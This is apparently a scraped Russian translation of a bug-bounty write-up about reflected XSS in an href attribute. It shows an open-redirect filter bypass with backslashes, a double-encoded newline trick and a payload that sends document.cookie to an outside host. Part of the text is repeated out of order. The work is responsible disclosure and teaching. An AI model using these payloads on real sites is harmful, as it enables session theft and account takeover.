Вот конечная полезная нагрузка после обхода всех странных проверок —
javascript://;%250a+alert(document.cookie,%27\\@www.redacted.com/%27)
Если вам все еще интересно, как и почему использовалась именно эта полезная нагрузка и методология, обязательно дочитайте статью до конца, где я все подробно объяснил
Попробовал в параметре 'redirect' open redirect и заметил, что, что бы я не поставил в качестве значения параметра 'redirect', это отражалось в тегах якоря, а точнее в атрибуте href.
Но ...
Тогда я подумал о двойном кодировании url, потому что сервер декодирует его только один раз, и в результате отраженное значение на этот раз будет '%0a'. Новый символ строки с двойной кодировкой url выглядит примерно так - '%250a'. Это работало идеально.
Вторая проблема заключалась в том, что два переадресованных слэша не могут быть использованы последовательно еще раз. Эта проблема была легко решена, так как вместо прямых слешей я обнаружил, что обратные слеши также работают аналогичным образом.
Третья проблема была решена двумя способами.
javascript://www.redacted.com/;%250a+alert(document.cookie)
Здесь строка 'www.redacted.com/;' закомментирована двумя прямыми косыми чертами, а '%250a', как объяснялось ранее, переносит строку, и javascript выполняет функцию alert.
javascript://;%250a+alert(document.cookie,%27\\@www.redacted.com/%27)
Это был второй способ, в котором мы используем недостаток проверки open redirect. Как уже упоминалось в начале, проверку open redirect можно было обойти, используя строку '\\\@' перед разрешенным доменом. В результате сервер разрешал вышеуказанное значение для параметра 'redirect'. Здесь в функцию alert передаются два значения, разделенные запятыми - document.cookie и '\\\@www.redacted.com' . document.cookie выполняется, а для второго значения функция возвращает 'undefined'. В двух словах, все, что присутствует первым, выполняется, а последующие значения игнорируются функцией alert.
В этот момент после обхода стольких странных проверок я уже ничего не соображал. На сайте www.redacted.com были заголовки content-security-policy (csp), которые позволяли отправлять запросы только на домены из белого списка. И я думал, как это обойти. Одним из способов, который пришел мне в голову, была публикация cookies пользователя публично в комментарии, но это требовало много работы (имелись специфические программные препятствия). Но! Но! Один добрый человек в Discord подал мне идею перенаправить жертву на контролируемый злоумышленником домен с прикрепленными cookies. Это было то, что нужно! Все сработало гладко!
Это была полезная нагрузка, используемая для отправки cookies на удаленный хост.
javascript://www.redacted.com/;%250adocument.location.href='https:\/\/example.com/'+btoa(document.cookie)
Вот как это отражается:
Эксплойт в действии:
Забавный факт — я уже сообщил об ошибке, опасаясь, что меня обманут, прежде чем показать, что я действительно могу отправить куки на удаленный хост (но я сказал им, что чувствительные куки могут быть прочитаны и использованы для захвата учетных записей). Аналитик программы и отдел по работе с Hackerone не усомнились в этом и отнесли эту ошибку к ошибкам высокой степени серьезности. Она была исправлена очень быстро (примерно за 2 часа), и я получил свою награду)
Я надеюсь, что эта статья стоила вашего времени, и вы узнали сегодня что-то новое.
habr.com
javascript://;%250a+alert(document.cookie,%27\\@www.redacted.com/%27)
Если вам все еще интересно, как и почему использовалась именно эта полезная нагрузка и методология, обязательно дочитайте статью до конца, где я все подробно объяснил
Предыстория
Я занимался взломом частной программы. В ней было два ресурса - www.redacted.com и my.redacted.com («redacted» — это слово используется вместо реального доменного имени из соображений конфиденциальности, так как программа была частной). Я зарегистрировал аккаунт на www.redacted.com с запущенным на фоне burp suite. Я немного покопался и заметил, что параметр перенаправления отправляется с большим количеством конечных точек. В программе open redirect был включен в область находок (то есть они разрешили сообщать об ошибках open redirect без какого-либо дополнительного воздействия), поэтому я попробовал её использовать, но обычные методы вообще не работали. Перед тем, как двигаться дальше, я попробовал это в качестве последнего способа и, как ни странно, это сработало - https://www.redacted.com/x/y?redirect=https://google.com\\\@www.redacted.com перенаправлялся на https://google.com\\\@www.redacted.com . Два обратных слеша были автоматически преобразованы браузерами в один прямой слеш '/'.Хорошо, но где же Rxss?
Извиняюсь, но обход open redirect должен был быть упомянут, так как я разработал полезную нагрузку xss, в некоторой степени основанную на ней. Хотя позже я понял, что в этом не было необходимости.Поиск Rxss
Burp Suite работал в фоновом режиме. Весь трафик с www.redacted.com проходил через burp. Во вкладке 'http history' (в burp) я заметил незнакомую конечную точку - https://www.redacted.com/profile/login/form/?redirect=https://redacted.com/, назвав ее незнакомой, потому что у конечной точки входа не было пути 'form'. Я открыл url в браузере, чтобы убедиться, что это действительно незнакомая, а не главная страница входа в домен.
Попробовал в параметре 'redirect' open redirect и заметил, что, что бы я не поставил в качестве значения параметра 'redirect', это отражалось в тегах якоря, а точнее в атрибуте href.
Но ...
- Значение параметра redirect должно содержать два прямых слэша после схемы url. Схема url может быть любой (проверка не проводилась), но сразу после схемы должна быть добавлена '://'.
- Значение параметра redirect больше не может иметь два последовательных прямых слэша (только один раз это было разрешено).
- url должен содержать строку 'www.redacted.com' в начале (сразу после двух прямых слэшей) или содержать строку '\\\@www.redacted.com' в конце (обход open redirect).
Rxx - обход странных проверок
Первая проблема возникла из-за того, что в javascript два прямых слэша означают однострочный комментарий. Таким образом, если мы напишем что-либо после двух косых черт, это не будет выполнено, так как браузер воспримет это как комментарий. Чтобы решить эту проблему, я решил использовать символ новой строки. Но прямое его использование в виде '\n' не дало никакого эффекта. Тогда я использовал url-кодировку - '%0a' (url-кодированный символ новой строки). Но и это не сработало, потому что сервер декодирует '%0a' в '\n', прежде чем отразить значение в атрибуте href.Тогда я подумал о двойном кодировании url, потому что сервер декодирует его только один раз, и в результате отраженное значение на этот раз будет '%0a'. Новый символ строки с двойной кодировкой url выглядит примерно так - '%250a'. Это работало идеально.
Вторая проблема заключалась в том, что два переадресованных слэша не могут быть использованы последовательно еще раз. Эта проблема была легко решена, так как вместо прямых слешей я обнаружил, что обратные слеши также работают аналогичным образом.
Третья проблема была решена двумя способами.
javascript://www.redacted.com/;%250a+alert(document.cookie)
Здесь строка 'www.redacted.com/;' закомментирована двумя прямыми косыми чертами, а '%250a', как объяснялось ранее, переносит строку, и javascript выполняет функцию alert.
javascript://;%250a+alert(document.cookie,%27\\@www.redacted.com/%27)
Это был второй способ, в котором мы используем недостаток проверки open redirect. Как уже упоминалось в начале, проверку open redirect можно было обойти, используя строку '\\\@' перед разрешенным доменом. В результате сервер разрешал вышеуказанное значение для параметра 'redirect'. Здесь в функцию alert передаются два значения, разделенные запятыми - document.cookie и '\\\@www.redacted.com' . document.cookie выполняется, а для второго значения функция возвращает 'undefined'. В двух словах, все, что присутствует первым, выполняется, а последующие значения игнорируются функцией alert.
Rxss - эксплуатация
Базовый alert(document.cookie) был готов, но этого было недостаточно, чтобы сказать, что воздействие этого Xss было захватом аккаунта. Обычно в таких случаях ошибка оценивается как средней тяжести (специально для Hackerone), поэтому важно было показать, как злоумышленник будет захватывать аккаунты.В этот момент после обхода стольких странных проверок я уже ничего не соображал. На сайте www.redacted.com были заголовки content-security-policy (csp), которые позволяли отправлять запросы только на домены из белого списка. И я думал, как это обойти. Одним из способов, который пришел мне в голову, была публикация cookies пользователя публично в комментарии, но это требовало много работы (имелись специфические программные препятствия). Но! Но! Один добрый человек в Discord подал мне идею перенаправить жертву на контролируемый злоумышленником домен с прикрепленными cookies. Это было то, что нужно! Все сработало гладко!
Это была полезная нагрузка, используемая для отправки cookies на удаленный хост.
javascript://www.redacted.com/;%250adocument.location.href='https:\/\/example.com/'+btoa(document.cookie)
Вот как это отражается:
Эксплойт в действии:
Забавный факт — я уже сообщил об ошибке, опасаясь, что меня обманут, прежде чем показать, что я действительно могу отправить куки на удаленный хост (но я сказал им, что чувствительные куки могут быть прочитаны и использованы для захвата учетных записей). Аналитик программы и отдел по работе с Hackerone не усомнились в этом и отнесли эту ошибку к ошибкам высокой степени серьезности. Она была исправлена очень быстро (примерно за 2 часа), и я получил свою награду
)
Я надеюсь, что эта статья стоила вашего времени, и вы узнали сегодня что-то новое.
Перевод: Rxss внутри атрибута href — Обход множества странных проверок для захвата аккаунтов
Вот конечная полезная нагрузка после обхода всех странных проверок — javascript://;%250a+alert(document.cookie,%27\\@www.redacted.com/%27) Если вам все еще интересно, как и почему использовалась...
habr.com